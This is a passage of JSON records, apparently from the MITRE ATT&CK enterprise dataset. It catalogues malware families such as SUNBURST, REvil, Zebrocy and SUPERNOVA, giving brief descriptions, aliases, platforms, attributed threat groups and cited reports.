2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BADCALL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0245","external_id":"S0245"},{"source_name":"BADCALL","description":"(Citation: US-CERT BADCALL)"},{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","source_name":"US-CERT BADCALL"}],"modified":"2020-03-30T18:32:03.328Z","name":"BADCALL","description":"[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["hcdLoader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e","type":"malware","created":"2017-05-31T21:32:46.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0071","external_id":"S0071"},{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. 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(2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.","url":"https://www.cyberscoop.com/apt28-brexit-phishing-accenture/","source_name":"CyberScoop APT28 Nov 2018"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."}],"modified":"2021-04-23T19:45:36.003Z","name":"Zebrocy","description":"[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. 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(Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)","x_mitre_version":"1.4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SpeakUp"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","type":"malware","created":"2019-04-17T18:43:36.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0374","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0374"},{"source_name":"CheckPoint SpeakUp Feb 2019","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019."}],"modified":"2020-03-29T16:41:33.128Z","name":"SpeakUp","description":"[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CrossRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0235","external_id":"S0235"},{"source_name":"CrossRAT","description":"(Citation: Lookout Dark Caracal Jan 2018)"},{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. 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(2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2021-06-17T19:03:17.306Z","name":"OwaAuth","description":"[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Cadelspy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a705b085-1eae-455e-8f4d-842483d814eb","type":"malware","created":"2020-05-22T20:07:15.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0454","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0454"},{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. 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Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)","x_mitre_version":"1.8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group"],"x_mitre_aliases":["SUNBURST","Solorigate"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","created":"2021-01-05T22:42:05.965Z","x_mitre_version":"2.2","external_references":[{"source_name":"mitre-attack","external_id":"S0559","url":"https://attack.mitre.org/software/S0559"},{"source_name":"SUNBURST","description":"(Citation: FireEye SUNBURST Backdoor December 2020)"},{"source_name":"Solorigate","description":"(Citation: Microsoft Deep Dive Solorigate January 2021)"},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. 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Retrieved January 13, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","modified":"2022-04-19T01:53:52.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"SUNBURST","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"x_mitre_aliases":["EvilBunny"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a8a778f5-0035-4870-bb25-53dc05029586","type":"malware","created":"2019-06-28T17:40:32.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0396","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0396"},{"source_name":"EvilBunny","description":"(Citation: Cyphort EvilBunny Dec 2014)"},{"description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","source_name":"Cyphort EvilBunny Dec 2014"}],"modified":"2021-04-02T00:14:13.954Z","name":"EvilBunny","description":"[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Wingbird"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0176","url":"https://attack.mitre.org/software/S0176","source_name":"mitre-attack"},{"source_name":"Wingbird","description":"(Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft Wingbird Nov 2017)"},{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"},{"source_name":"Microsoft NEODYMIUM Dec 2016","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"},{"source_name":"Microsoft Wingbird Nov 2017","description":"Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"}],"modified":"2020-03-30T18:29:08.243Z","name":"Wingbird","description":"[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Cobian RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","type":"malware","created":"2019-01-29T21:40:37.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/software/S0338","source_name":"mitre-attack","external_id":"S0338"},{"source_name":"Cobian RAT","description":"(Citation: Zscaler Cobain Aug 2017)"},{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. 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(2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."},{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-06T19:28:21.746Z","name":"HotCroissant","description":"[HotCroissant](https://attack.mitre.org/software/S0431) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.(Citation: US-CERT HOTCROISSANT February 2020) [HotCroissant](https://attack.mitre.org/software/S0431) shares numerous code similarities with [Rifdoor](https://attack.mitre.org/software/S0433).(Citation: Carbon Black HotCroissant April 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ServHelper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--aae22730-e571-4d17-b037-65f2a3e26213","type":"malware","created":"2019-05-29T13:14:38.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0382","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0382"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2020-05-29T19:31:03.708Z","name":"ServHelper","description":"[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. 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(Citation: Forcepoint Monsoon)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["REvil","Sodin","Sodinokibi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","created":"2020-08-04T15:06:14.796Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0496","url":"https://attack.mitre.org/software/S0496"},{"source_name":"Sodin","description":"(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)"},{"source_name":"Sodinokibi","description":"(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)"},{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). 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Retrieved August 5, 2020."},{"source_name":"G Data Sodinokibi June 2019","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. 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Retrieved August 5, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)","modified":"2022-04-21T01:01:16.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"REvil","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RIPTIDE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e","type":"malware","created":"2017-05-31T21:32:11.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0003","external_id":"S0003"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. 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Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. 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Retrieved January 4, 2017."},{"source_name":"Kaspersky Sofacy","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015."}],"x_mitre_deprecated":false,"revoked":false,"description":"[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)","modified":"2022-04-19T22:53:27.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"USBStealer","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["OSX_OCEANLOTUS.D","Backdoor.MacOS.OCEANLOTUS.F"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","type":"malware","created":"2019-01-30T19:18:19.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0352","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0352"},{"source_name":"OSX_OCEANLOTUS.D","description":"(Citation: TrendMicro MacOS April 2018)"},{"source_name":"Backdoor.MacOS.OCEANLOTUS.F","description":"(Citation: Trend Micro MacOS Backdoor November 2020)"},{"description":"Horejsi, J. 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(2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"url":"http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/","description":"Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.","source_name":"Intezer Aurora Sept 2017"}],"modified":"2020-03-20T20:01:55.457Z","name":"CCBkdr","description":"[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["OnionDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","type":"malware","created":"2017-05-31T21:32:37.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0052","external_id":"S0052"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Retrieved August 24, 2021."},{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-15T12:34:22.853Z","name":"Taidoor","description":"[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a","type":"malware","created":"2017-05-31T21:32:21.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0028","external_id":"S0028"},{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"SHIPSHAPE","description":"[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Cherry Picker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe","type":"malware","created":"2017-05-31T21:33:05.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0107","external_id":"S0107"},{"source_name":"Trustwave Cherry Picker","description":"Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.","url":"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"}],"modified":"2020-03-30T15:20:05.298Z","name":"Cherry Picker","description":"[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SUPERNOVA"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","type":"malware","created":"2021-02-18T17:35:13.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0578","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0578"},{"source_name":"Guidepoint SUPERNOVA Dec 2020","url":"https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/","description":"Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."},{"source_name":"Unit42 SUPERNOVA Dec 2020","url":"https://unit42.paloaltonetworks.com/solarstorm-supernova/","description":"Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."},{"source_name":"SolarWinds Advisory Dec 2020","url":"https://www.solarwinds.com/sa-overview/securityadvisory","description":"SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021."},{"source_name":"CISA Supernova Jan 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a","description":"CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021."},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}],"modified":"2021-04-23T23:00:41.648Z","name":"SUPERNOVA","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["P2P ZeuS","Peer-to-Peer ZeuS","Gameover ZeuS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85","type":"malware","created":"2017-05-31T21:32:16.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0016","external_id":"S0016"},{"source_name":"Dell P2P ZeuS","description":"SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/"}],"modified":"2020-03-30T17:14:31.945Z","name":"P2P ZeuS","description":"[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the 